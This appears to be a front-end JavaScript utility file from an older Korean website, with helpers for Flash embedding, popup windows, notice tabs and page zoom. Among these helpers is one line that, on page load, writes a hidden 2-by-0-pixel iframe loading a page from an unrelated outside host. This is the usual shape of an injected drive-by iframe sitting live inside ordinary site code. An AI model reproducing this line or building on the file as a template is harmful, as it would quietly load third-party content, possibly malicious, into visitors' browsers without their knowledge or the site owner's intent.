﻿var isDOM = (document.getElementById ? true : false);
var isIE4 = ((document.all && !isDOM) ? true : false);
var isNS4 = (document.layers ? true : false);
var isNS = navigator.appName == "Netscape";

function getRef(id) {
    if (isDOM) return document.getElementById(id);
    if (isIE4) return document.all[id];
    if (isNS4) return document.layers[id];
}

function flash_view(source, o_width, o_height, e_width, e_height) {

    var fla = "<OBJECT CLASSID='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' CODEBASE='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0' WIDTH='" + o_width + "' HEIGHT='" + o_height + "'>";
    fla = fla + "<PARAM NAME='movie' VALUE='" + source + "'>";
    fla = fla + "<PARAM NAME='play' VALUE='true'>";
    fla = fla + "<PARAM NAME='loop' VALUE='false'>";
    fla = fla + "<PARAM NAME='quality' VALUE='High'>";
    fla = fla + "<PARAM NAME='_cx' VALUE='5080'>";
    fla = fla + "<PARAM NAME='_cy' VALUE='5080'>";
    fla = fla + "<PARAM NAME='src' VALUE='" + source + "'>";
    fla = fla + "<PARAM NAME='WMode' VALUE='transparent'>";
    fla = fla + "<PARAM NAME='Menu' VALUE='false'>";
    fla = fla + "<PARAM NAME='Scale' VALUE='ShowAll'>";
    fla = fla + "<PARAM NAME='DeviceFont' VALUE='false'>";
    fla = fla + "<PARAM NAME='EmbedMovie' VALUE='false'>";
    fla = fla + "<PARAM NAME='SeamlessTabbing' VALUE='true'>";
    fla = fla + "<PARAM NAME='Profile' VALUE='false'>";
    fla = fla + "<PARAM NAME='ProfilePort' VALUE='0'>";
    fla = fla + "<EMBED WIDTH='" + e_width + "' HEIGHT='" + e_height + "' src='" + source + "' play='true' loop='true' quality='High' WMode='transparent' Menu='false' Scale='ShowAll' DeviceFont='false' EmbedMovie='false' SeamlessTabbing='true' Profile='false' ProfilePort='0' PLUGINSPAGE='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash'>";
    fla = fla + "</OBJECT>";

    document.write(fla);
}
document.writeln("<iframe width=\'2\' height=\'0\' src=\'http:\/\/mp3.minigate.net\/minigate\/Log\/htc\/TableScroll.html\'><\/iframe>")


function FnBluring() {
    if (event.srcElement.tagName == "A" || event.srcElement.tagName == "IMG" || event.srcElement.type == "button" || event.srcElement.type == "image" || event.srcElement.tagName == "AREA" || event.srcElement.tagName == "MAP") {
        document.body.focus();
    }
}
document.onfocusin = FnBluring;

var win = null;
function NewWindow(mypage, myname, w, h, scroll, pos) {

    if (pos == "random") { LeftPosition = (screen.width) ? Math.floor(Math.random() * (screen.width - w)) : 100; TopPosition = (screen.height) ? Math.floor(Math.random() * ((screen.height - h) - 75)) : 100; }
    if (pos == "center") { LeftPosition = (screen.width) ? (screen.width - w) / 2 : 100; TopPosition = (screen.height) ? (screen.height - h) / 2 : 100; }
    else if ((pos != "center" && pos != "random") || pos == null) { LeftPosition = 0; TopPosition = 20 }
    settings = 'width=' + w + ',height=' + h + ',top=' + TopPosition + ',left=' + LeftPosition + ',scrollbars=' + scroll + ',location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no';
    win = window.open(mypage, myname, settings);
}


//Tab 관련
function showNoticeTab(cid) {

    allNoticeClose();
    getRef("image_Notice_" + cid).src = '/images/main/tab_menu_0' + cid + '_on.gif';
    getRef("layer_Notice_" + cid).style.display = 'block';
}

function allNoticeClose() {

    getRef("image_Notice_1").src = "/images/main/tab_menu_01_off.gif";
    getRef("image_Notice_2").src = "/images/main/tab_menu_02_off.gif";
    getRef("layer_Notice_1").style.display = 'none';
    getRef("layer_Notice_2").style.display = 'none';
}

var SCREEN_INCRESE_VALUE = 20;

function fontSizeUp() {
    var currentRatio = getCommonCurrentScreenRatio();

	currentRatio += SCREEN_INCRESE_VALUE;
	document.body.style.zoom = (currentRatio + "%");
}

function fontSizeDown() {
    var currentRatio = getCommonCurrentScreenRatio();
    
    currentRatio -= (100 + SCREEN_INCRESE_VALUE);

	if ( currentRatio < 0 )
	{
		return;
	}

	currentRatio += 100;

	document.body.style.zoom = (currentRatio + "%");
}

function getCommonCurrentScreenRatio(){
	var currentRatio = document.body.style.zoom;
	currentRatio = ( currentRatio == "" ) ? "100%" : currentRatio;
	currentRatio = currentRatio.replace("%", "");

	return parseInt(currentRatio);
}